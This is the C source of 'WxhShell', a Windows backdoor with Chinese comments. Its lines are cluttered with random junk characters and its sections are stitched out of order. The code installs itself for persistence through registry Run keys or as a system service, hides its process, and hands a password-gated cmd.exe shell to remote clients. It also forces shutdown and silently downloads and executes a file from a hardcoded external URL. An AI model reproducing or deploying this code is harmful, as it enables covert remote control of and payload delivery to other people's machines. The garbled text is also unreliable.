  case 'd': { .y[=0K:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WM*7p;t@)  
    if(Boot(SHUTDOWN)) qDL9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H@ MUzV  
    else { oGXT,38*  
    closesocket(wsh); s6!aGZ  
    ExitThread(0); 3X%>xUI  
    } 9<,\ +}^{  
    break; CCQ<.iCU  
    } I?5#Q0,b  
  // 获取shell X[|-F3o  
  case 's': { eX $u  
    CmdShell(wsh); M0n@?S  
    closesocket(wsh); APy&~`  
    ExitThread(0); h<.&,6R  
    break; M%yT?R+  
  } :C>slxY  
  // 退出 D0tI  
  case 'x': { y \V!OY@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =][[TH  
    CloseIt(wsh); f~8Xue,l"  
    break; >`\~=ivrD  
    } 62a{Ggs{  
  // 离开 iv:[]o  
  case 'q': { B-'Xk{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (t fADaJM  
    closesocket(wsh); -=2tKH`Q  
    WSACleanup(); 0zdH6 &  
    exit(1); M>8#is(pV  
    break; #t po@pJsE  
        } VbJGyjx  
  } s$|GVv1B  
  } F0]NtKaH  
Y|>y]x  
  // 提示信息 :J}L| `U9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D+#QQH  
} #k5Nnv#(J  
  } w}YO+  
x4R[Q&:M  
  return; U $e-e/  
} !&?(ty^F  
@My-O@C>  
// shell模块句柄 op/|&H'  
int CmdShell(SOCKET sock) `epO/Uu\~u  
{ ( *UMpdj  
STARTUPINFO si; 6# ,2  
ZeroMemory(&si,sizeof(si)); UC\CCDV#^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?0Z?Z3)%w4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ST] h NM  
PROCESS_INFORMATION ProcessInfo; &mp=jGR  
char cmdline[]="cmd"; ebp18_a|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); " :@5|4qK  
  return 0; )lBke*j~  
} .Hc]?R ]  
+Ae4LeVzc  
// 自身启动模式 N'=8Dj  
int StartFromService(void) k7'B5zVd  
{ ;| )&aTdH  
typedef struct nsuK{8}@  
{ H Y\-sl^  
  DWORD ExitStatus; S:+SZq  
  DWORD PebBaseAddress; }p]8'($  
  DWORD AffinityMask; fiES6VL  
  DWORD BasePriority; C`%cPl  
  ULONG UniqueProcessId; m\O<Yc keA  
  ULONG InheritedFromUniqueProcessId; 6;"jq92in*  
}   PROCESS_BASIC_INFORMATION; 7GB>m}7  
&r;-=ASYzV  
PROCNTQSIP NtQueryInformationProcess; TW7jp  
_>S."cm}!k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pmv;M`_|R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iQ~;to;Y  
D/5 ah_;  
  HANDLE             hProcess; =hjff/ X  
  PROCESS_BASIC_INFORMATION pbi; )C|[j@MD  
3#!}W#xv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Akb#1Ww4  
  if(NULL == hInst ) return 0; #kR8v[Z  
8rx?mX,}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,-rOfk\u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m+?$cyA>v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1}%vZE2  
[z5pqd-  
  if (!NtQueryInformationProcess) return 0; x9hkE!{8  
o cotO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h;u8{t"  
  if(!hProcess) return 0; |$f.Qs~?  
9o@5:.b<j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /xUTm=w7u  
{U= Mfo?AH  
  CloseHandle(hProcess); )! Jo7SR  
yM`J+tq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y(h86>z*w  
if(hProcess==NULL) return 0; p~J|l$%0rQ  
Po~{Mpe  
HMODULE hMod; ,9SBGxK5`  
char procName[255]; w@ALl#z;}  
unsigned long cbNeeded; IlJ!jq  
nYhI0q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W|XW2`3p  
7O',X Y  
  CloseHandle(hProcess); 8eCC =Az:  
JPJ&k( P  
if(strstr(procName,"services")) return 1; // 以服务启动 IH(]RHTp%  
4^/MDM@  
  return 0; // 注册表启动 jNd."[IrO  
} cv})^E$x  
(S3\O `5  
// 主模块 HRS^91aK  
int StartWxhshell(LPSTR lpCmdLine) dT?/9JIv  
{ Lq : !?)I  
  SOCKET wsl; $Y& 8@/L  
BOOL val=TRUE; plcz m 2  
  int port=0; { }Q!./5  
  struct sockaddr_in door; (v+nn1,  
5 Yj qN  
  if(wscfg.ws_autoins) Install(); %#kml{I   
*DfwTbg|  
port=atoi(lpCmdLine); E}LYO:  
4HG;v|Cp  
if(port<=0) port=wscfg.ws_port; XRA RgWj  
-9W)|toWb"  
  WSADATA data; O~D>F*_^j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YGFE(t;lPU  
2NMS '"8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g-)izPX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @#m@ .   
  door.sin_family = AF_INET; )nE=H,U?y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \JjZ _R  
  door.sin_port = htons(port); G(joamfM  
'b1k0 9'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { StZ GKY[Q  
closesocket(wsl); mu`:@7+Yp  
return 1; NNDW)@p6z  
} }h{8i_R  
{HoeK>rd  
  if(listen(wsl,2) == INVALID_SOCKET) { YytO*^e}}  
closesocket(wsl); m/TjXA8_  
return 1; e x" E50  
} L{PH8Xl_  
  Wxhshell(wsl); Ilf;Q(*$>>  
  WSACleanup(); w1>uD]  
X$mCn#8m  
return 0; QAN :  
V&e 9?5@  
} &}}UdJ`  
fib#)KE  
// 以NT服务方式启动 d!>.$|b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vNo(`~]c  
{ T'C^,,if  
DWORD   status = 0; 'Z ;8-1M?O  
  DWORD   specificError = 0xfffffff; :]]#X ~J  
X 0\O3l* j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LKC^Y) 6o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $?`-} wY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }K F f  
  serviceStatus.dwWin32ExitCode     = 0; Hst]}g' .  
  serviceStatus.dwServiceSpecificExitCode = 0; *n]f)Jc  
  serviceStatus.dwCheckPoint       = 0; #POVu|Y;h  
  serviceStatus.dwWaitHint       = 0; :[P)t %  
A?)nLp&Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kz=Ql|@  
  if (hServiceStatusHandle==0) return; ZRCm'p3  
)(CZK&<  
status = GetLastError(); m+m2<|%x  
  if (status!=NO_ERROR) t_ju[xL5B  
{ kn 5X:@{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gdr"34%vbM  
    serviceStatus.dwCheckPoint       = 0; ^\"@r%|  
    serviceStatus.dwWaitHint       = 0; )SjhOvm  
    serviceStatus.dwWin32ExitCode     = status; -2DvKW$  
    serviceStatus.dwServiceSpecificExitCode = specificError; +wPXDN#R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;zF3e&e(  
    return; VA D9mS^~  
  } |!Ryl}Oi  
Hs6?4cgj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E@} NV|90  
  serviceStatus.dwCheckPoint       = 0; esh7*,7-z*  
  serviceStatus.dwWaitHint       = 0; gPT<%F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PPpq"c  
} B r`a;y T  
(D5sJ$&E@\  
// 处理NT服务事件,比如:启动、停止 cVb&Jzd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b aO ^Z  
{ UA0j#  
switch(fdwControl) .Tm m  
{ t@"i/@8x$  
case SERVICE_CONTROL_STOP: arWP]%E0W  
  serviceStatus.dwWin32ExitCode = 0; s^\ *jZ6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bfV&z+Rv-5  
  serviceStatus.dwCheckPoint   = 0; i$?$X,  
  serviceStatus.dwWaitHint     = 0; C 9{8!fYp  
  { `xXpP"*o}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uCB>".'kM  
  } Ez)hArxns  
  return; w ag^Sk  
case SERVICE_CONTROL_PAUSE: MJ?fMR@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BG&XCn5g|  
  break; VY1&YR}Y  
case SERVICE_CONTROL_CONTINUE: ,h<xL-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kN~:Bh$  
  break; d}:eLC  
case SERVICE_CONTROL_INTERROGATE: <6rc 8jYz  
  break; [aS<u`/g|  
}; R]LuZN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fFe{oR   
} (,`R>Dk  
d8!yV~Ka  
// 标准应用程序主函数 y&&%%3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d YliC  
{ u5Tu~  
T9'd?nw9  
// 获取操作系统版本 a +$'ULK+r  
OsIsNt=GetOsVer(); |O';$a1S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >.=v*\P  
o)]mJb~XG-  
  // 从命令行安装 RW4,j&)  
  if(strpbrk(lpCmdLine,"iI")) Install(); %a\L^w)Xn  
my]t[%Q{  
  // 下载执行文件 WeiDg,]e$b  
if(wscfg.ws_downexe) { |PNPOj0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E;MelK<8(  
  WinExec(wscfg.ws_filenam,SW_HIDE); 63PSYj(y  
} ^0tO2$  
]. E/s(p  
if(!OsIsNt) { '#eY4d<i]n  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y n7z#bu  
HideProc(); r gw@  
StartWxhshell(lpCmdLine); EGMIw?%Y`-  
} jY1^I26E  
else uB1>.Pvxb  
  if(StartFromService()) % |^V)  
  // 以服务方式启动 pf8M0,AY  
  StartServiceCtrlDispatcher(DispatchTable); (ebC80M  
else `EdZ  
  // 普通方式启动 q).[" fSV  
  StartWxhshell(lpCmdLine); FGey%:p9$  
<y2HzBC  
return 0; +5i~}Q!  
} q@=3`yQ  
e0:[,aF`  
%o  
% B^BN|r  
=========================================== T B(K&3_D  
}.k*4Vw#Wt  
1@:BUE;jZ  
Ys@OgdS@:  
Q)[DSM  
qokCVI-\  
" ]tx/t^&/\u  
YAP,#a  
#include <stdio.h> HD_ #-M  
#include <string.h> : *8t,f~s^  
#include <windows.h> J?%ecCN  
#include <winsock2.h> w.o>G2u  
#include <winsvc.h> K6EG"Vv!  
#include <urlmon.h> 'ju'O#A9  
}bZb8hiG  
#pragma comment (lib, "Ws2_32.lib") Ly P Cc|  
#pragma comment (lib, "urlmon.lib") $)#?4v<  
 /~1Ew  
#define MAX_USER   100 // 最大客户端连接数 ~ ?JN I8  
#define BUF_SOCK   200 // sock buffer Dq[Z0"8  
#define KEY_BUFF   255 // 输入 buffer [pxC3{|d$  
NCa3")k  
#define REBOOT     0   // 重启 rbl7-xhC7  
#define SHUTDOWN   1   // 关机 nKnQ%R  
SVn $!t  
#define DEF_PORT   5000 // 监听端口 %7hf6Xo=  
,<s/K  
#define REG_LEN     16   // 注册表键长度 ( yK@(euG  
#define SVC_LEN     80   // NT服务名长度 t2LX@Q"  
I~F]e|Ehqr  
// 从dll定义API Ay@/{RZz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 83!{?EPE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]%2y`Jrl^W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6]|-%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z'&tmje[?  
U1;&G  
// wxhshell配置信息 _;mA(j  
struct WSCFG { F*-+5nJ&@  
  int ws_port;         // 监听端口 b6NGhkr'\  
  char ws_passstr[REG_LEN]; // 口令 Y[0mTL4IO  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,4HZ-|EOZ  
  char ws_regname[REG_LEN]; // 注册表键名 puAjAvIax  
  char ws_svcname[REG_LEN]; // 服务名 Oq*;GR(Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Oy_%U*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \7PC2IsT3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -&EU#Wqh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A5E^1j}h@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F4]=(T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `-w,6  
WX* uhR  
}; 8o i{%C&-  
u<JkP <"S  
// default Wxhshell configuration x~QZVL=:  
struct WSCFG wscfg={DEF_PORT, 2. q\!V}yQ  
    "xuhuanlingzhe", l4gZHMh'  
    1, 6~OJB!  
    "Wxhshell", kgHZaQnD  
    "Wxhshell", ?kULR0uL+  
            "WxhShell Service", -Q6Vz=ku  
    "Wrsky Windows CmdShell Service", H=*lj.x  
    "Please Input Your Password: ", O>"T*   
  1, YYhN>d$  
  "http://www.wrsky.com/wxhshell.exe", _>J`e7j+  
  "Wxhshell.exe" F~sUfqiJ'  
    }; f^)iv ]p  
JAX`iQd  
// 消息定义模块 =Eb$rc)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;}H*|"z;!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VVbFn9+V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V an=dz G  
char *msg_ws_ext="\n\rExit."; N~ajrv}kd  
char *msg_ws_end="\n\rQuit."; op($+Q  
char *msg_ws_boot="\n\rReboot..."; O7oq1JI]Y  
char *msg_ws_poff="\n\rShutdown..."; uD\rmO{  
char *msg_ws_down="\n\rSave to "; ++ZP X'|  
a@ ^)?cH!z  
char *msg_ws_err="\n\rErr!"; biG :Xn  
char *msg_ws_ok="\n\rOK!"; 26}fB  
AC*SmQ\>!  
char ExeFile[MAX_PATH]; cB)tf S4)  
int nUser = 0; pJ JOy  
HANDLE handles[MAX_USER]; lNz1|nS(Kd  
int OsIsNt; Y;"jsK{$  
PJT$9f~3;.  
SERVICE_STATUS       serviceStatus; +4+c zfz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i9|}-5ED  
L d{`k  
// 函数声明 |AXV4{j_i  
int Install(void); m.FN ttkM  
int Uninstall(void); ~ike&k{  
int DownloadFile(char *sURL, SOCKET wsh); ftz-l&5  
int Boot(int flag); hC4 M}(XM  
void HideProc(void); `>GXJ~:D["  
int GetOsVer(void); JS/~6'uB  
int Wxhshell(SOCKET wsl); ,Jx.Kj.,  
void TalkWithClient(void *cs); Pk;1q?tGw  
int CmdShell(SOCKET sock); w"O{@2B3:H  
int StartFromService(void); ^{YK'60  
int StartWxhshell(LPSTR lpCmdLine); {e5-  
Jn%Etz-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e8M0Lz#}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8JXS:J.|v  
#qARcxbK|  
// 数据结构和表定义 _>bk'V7  
SERVICE_TABLE_ENTRY DispatchTable[] = TK0WfWch  
{ 7m%[$X`  
{wscfg.ws_svcname, NTServiceMain}, BMtk/r/  
{NULL, NULL} shEAr*u  
}; N85ZbmU~  
FNs$k=* 8  
// 自我安装  @{Dfro  
int Install(void) FOhq&\nkU  
{ qDcoccEf  
  char svExeFile[MAX_PATH]; $b[Ha{9(v  
  HKEY key; R8 LHwRQ  
  strcpy(svExeFile,ExeFile); x`Wb9[u8  
&Ez+4.srkh  
// 如果是win9x系统,修改注册表设为自启动 Q!r&vQ/g  
if(!OsIsNt) { `(/xj{"Fr}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IBUFXzl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h;@>E:4Tg  
  RegCloseKey(key); @yj~5Gf(j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SW5n?Qj3-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >[&ser  
  RegCloseKey(key); p(cnSvg  
  return 0; E.*gKfL  
    } ^%m{yf#  
  } w}s5=>QG%  
} x|gYxZ  
else { %{Obh j;c  
3.9/mztS  
// 如果是NT以上系统,安装为系统服务 ~Kl"V% >  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lbGPy'h<rt  
if (schSCManager!=0) '-mzt~zGOY  
{ eFotV.T!#  
  SC_HANDLE schService = CreateService  F&lH5  
  ( @NL37C  
  schSCManager, 1!yd(p=cL  
  wscfg.ws_svcname, 5A^8?,F@  
  wscfg.ws_svcdisp, $inKI  
  SERVICE_ALL_ACCESS, j\NCoos  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z "z  
  SERVICE_AUTO_START, Mf !S'\  
  SERVICE_ERROR_NORMAL, f@q.kD21  
  svExeFile, v2a(yH  
  NULL, i'10qWz  
  NULL, Hy -)yR  
  NULL, 138v{Z  
  NULL, TRJTJM_k  
  NULL M`7[hr  
  ); ,Vl2U"   
  if (schService!=0) )L7[;(gQ  
  { @ 'c(q=K;  
  CloseServiceHandle(schService); 2jlz#Sk  
  CloseServiceHandle(schSCManager); ;$8ptB.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l5]R*mR  
  strcat(svExeFile,wscfg.ws_svcname); h6bvUI+|h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "a(e2H2&T4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (zxL!ZR<  
  RegCloseKey(key); N<<O(r  
  return 0; XfflD9M  
    } RCi8{~rIvS  
  } 4"\x#  
  CloseServiceHandle(schSCManager); <FAbImE}  
} e&E7_  
} {:=W) 37U  
:hcOceNz  
return 1; .wUnN8crQ  
} K:% MhH-  
e z_c;  
// 自我卸载 {=,G>p  
int Uninstall(void) %_!0V*X*  
{ [k75+#'  
  HKEY key; =M9R~J!  
0l/7JH_@V  
if(!OsIsNt) { ? * r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EQk omjv  
  RegDeleteValue(key,wscfg.ws_regname); -0BxZ AW=  
  RegCloseKey(key); Q&lb]U+\u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )A6=P%;}>I  
  RegDeleteValue(key,wscfg.ws_regname); >rSCf=  
  RegCloseKey(key); C1(RgY|  
  return 0; & P%#  
  } :'xZF2  
} {<a)+S.6U  
} sva-Sd8  
else { [z"oi'"fQ  
xwW(WHdC]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !I\eIV>0b  
if (schSCManager!=0) P : L6Zo-J  
{ K>5 bb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &x=_n'  
  if (schService!=0) _/"e'@z  
  { #f;6Ia>#  
  if(DeleteService(schService)!=0) { t:P7ah  
  CloseServiceHandle(schService); f="ZplW  
  CloseServiceHandle(schSCManager); E{QjmlXQ<  
  return 0; 65VTKlDD  
  } OoRg:"9{#  
  CloseServiceHandle(schService); he@Y1CY  
  } !)CY\c4}d>  
  CloseServiceHandle(schSCManager); f3^qO9R  
} SUIu.4Mz  
} f:y:: z  
GT80k]e.  
return 1; B.smQt  
} R4'>5.M  
k {vd1,HZ  
// 从指定url下载文件 4E}Q<?UYSt  
int DownloadFile(char *sURL, SOCKET wsh) s<Nw)Ynw  
{ xls US'Eo  
  HRESULT hr; nr8#;D  
char seps[]= "/"; HRQfT>"/  
char *token; +2k{y l  
char *file; f}KV4'n  
char myURL[MAX_PATH]; !KT.p2\  
char myFILE[MAX_PATH]; #;lEx'lKN  
T+t7/PwC;  
strcpy(myURL,sURL); A>315!d"  
  token=strtok(myURL,seps); qsN_EMgbdn  
  while(token!=NULL) .W$9nbly  
  { 4~ &X]/_'  
    file=token; ;j[gE  
  token=strtok(NULL,seps); ux*G*QZ  
  } ew~uOG+  
7/fJQM  
GetCurrentDirectory(MAX_PATH,myFILE); T,Q7 YI  
strcat(myFILE, "\\"); "vkM*HP  
strcat(myFILE, file); uZ@qlq8  
  send(wsh,myFILE,strlen(myFILE),0); !>wu7u-  
send(wsh,"...",3,0); q4'`qe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ??|,wIRz  
  if(hr==S_OK) A[`c+&  
return 0; d_f*'M2Gv  
else (&V)D?/hS  
return 1; |Q@(<'8=  
ftRdK>a D  
} =Lb(N61  
/UY'E<wBx  
// 系统电源模块 L_+ Fin  
int Boot(int flag) nB[B FVkU  
{ 0S }\ML  
  HANDLE hToken; cG3tn&AXi  
  TOKEN_PRIVILEGES tkp; 09 f;z  
MSp) Jc  
  if(OsIsNt) { #N'9F&:V$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %s5( ''a.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); blP8"(U  
    tkp.PrivilegeCount = 1; y5D3zqCG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JDp=w,7LF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gxe u2 HG  
if(flag==REBOOT) { nE0I[T(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $GQEdVSNo  
  return 0; - K"L6m|  
} .b!HEi<F  
else { ti]8_vP}*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) teLZplC=f  
  return 0; {K|ds($ 5  
} >MhZ(&iD  
  } BLt_(S?Z`  
  else { ae2I,Qt%  
if(flag==REBOOT) { e5lJ)_o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jvj* z6/a  
  return 0; Cv&>:k0V  
} 9KT85t1#  
else { )(1tDQ`L>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  n$>_2v  
  return 0; "]=XB0)  
} EiDpy#f}  
} V' i@N  
<h<_''+  
return 1; !+YSc&R_fW  
} 1gvh6eE F  
hh.`Yu L  
// win9x进程隐藏模块 |TJu|zv^  
void HideProc(void) +(w9! 5?F  
{ %x}Unk  
jH;L7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8u"C7} N_  
  if ( hKernel != NULL ) up~p_{x)Q  
  { 5g'aNkF6>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  (tT%rj!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w*(1qUF#%  
    FreeLibrary(hKernel); gF;C% }  
  } Ly1t'{"7  
5l(@p7_+  
return; =NPo<^Lae  
} h ^w# I  
S3QX{5t\  
// 获取操作系统版本 BHNJH  
int GetOsVer(void) O-~cj7 0\  
{ MRK3Cey}%  
  OSVERSIONINFO winfo; OKj\>3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 62[_u]<Yub  
  GetVersionEx(&winfo); 6pZ/C<Y|W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6$csFW3R  
  return 1; X&@>M}  
  else b=L|GV@$  
  return 0; n^|7ycB'  
} uhwCC  
[Z1,~(3  
// 客户端句柄模块 fq):'E)  
int Wxhshell(SOCKET wsl) bQu@.'O!k  
{ )o&}i3~Q  
  SOCKET wsh; >{0,dGm  
  struct sockaddr_in client; N~(?g7  
  DWORD myID; _PP-'^ U  
8p/&_<mnW  
  while(nUser<MAX_USER) hsI9{j]f  
{ 8lCo\T5"  
  int nSize=sizeof(client); vv`53 Pbw)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;jlI>;C;V  
  if(wsh==INVALID_SOCKET) return 1; 2e({%P@2?  
#,!/Cnqis  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !Pd)  
if(handles[nUser]==0) u 1Wixjd|  
  closesocket(wsh); :<1PCX2  
else =RlAOgJ  
  nUser++; gA2]kZg  
  } )S@TYzdAN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SK,UW6h  
,twm)%caU  
  return 0; =}F$r5]  
} qx?0]!x  
C}:_&^DQ  
// 关闭 socket i[vOpg]J  
void CloseIt(SOCKET wsh) Uo|T6N  
{ NnY+=#j7L  
closesocket(wsh); O tR  
nUser--; }. V!|R,  
ExitThread(0); U-q:Y-h  
} 5j5} c`:  
Wr4Ob*2iD  
// 客户端请求句柄 8J2U UVA`1  
void TalkWithClient(void *cs) wPJA+  
{ 1f2*S$[*L  
i | *r/  
  SOCKET wsh=(SOCKET)cs; &Z7NF|  
  char pwd[SVC_LEN]; !Bhs8eGr3  
  char cmd[KEY_BUFF]; #[~f 6s9D  
char chr[1]; -{$L`{|G  
int i,j; ,mt=)Ac  
"Y=4Y;5q  
  while (nUser < MAX_USER) { Z.U8d(  
 ;W@  
if(wscfg.ws_passstr) { !q^2| %  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -&np/tEu&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;7mE%1X  
  //ZeroMemory(pwd,KEY_BUFF); v-B&"XGy:  
      i=0; [|L~" BB  
  while(i<SVC_LEN) { v)v`896S`  
j[:Iu#VR  
  // 设置超时 &W>%E!F  
  fd_set FdRead; @dvb%A&Pur  
  struct timeval TimeOut; }#`-mRaU  
  FD_ZERO(&FdRead); g+KuK`\N%  
  FD_SET(wsh,&FdRead); WiF6*]oI  
  TimeOut.tv_sec=8; |'Ksy{lA  
  TimeOut.tv_usec=0; p8E6_%Rw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '77Gg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T K Ec ^  
xG,L*3c{o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OH`|aqN  
  pwd=chr[0]; zj#8@gbh+  
  if(chr[0]==0xd || chr[0]==0xa) { c7 O$< F  
  pwd=0; 5 r&n  
  break; %I%OHs  
  } \7 *"M y*  
  i++; qW9~S0sl  
    } B>e},!  
4@Xd(F_d  
  // 如果是非法用户,关闭 socket j\uPOn8k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >s>{+6e  
} dpB\=  
x I(X+d``  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y;>D"C..  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j55OG~)  
o/I`L  
while(1) { *|3G"B{w6  
w(!COu  
  ZeroMemory(cmd,KEY_BUFF); tP|ox]  
Xm~N Bt  
      // 自动支持客户端 telnet标准   ko`KAU<T_  
  j=0; SfGl*2  
  while(j<KEY_BUFF) { j>|mpfU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N=TDywRI  
  cmd[j]=chr[0]; @-aMj  
  if(chr[0]==0xa || chr[0]==0xd) { QfI@=Kbg%#  
  cmd[j]=0; HD8*>p.  
  break; Rj])c^ZA'*  
  } b("M8}o  
  j++; 7\EY&KI"0  
    } ifcC [.im  
2NZC,znQ  
  // 下载文件 #CNK [y  
  if(strstr(cmd,"http://")) { NFBhnNH+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #;s5=aH  
  if(DownloadFile(cmd,wsh)) Ab:+AC5{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UO_tJN#X  
  else 5>S)+p  
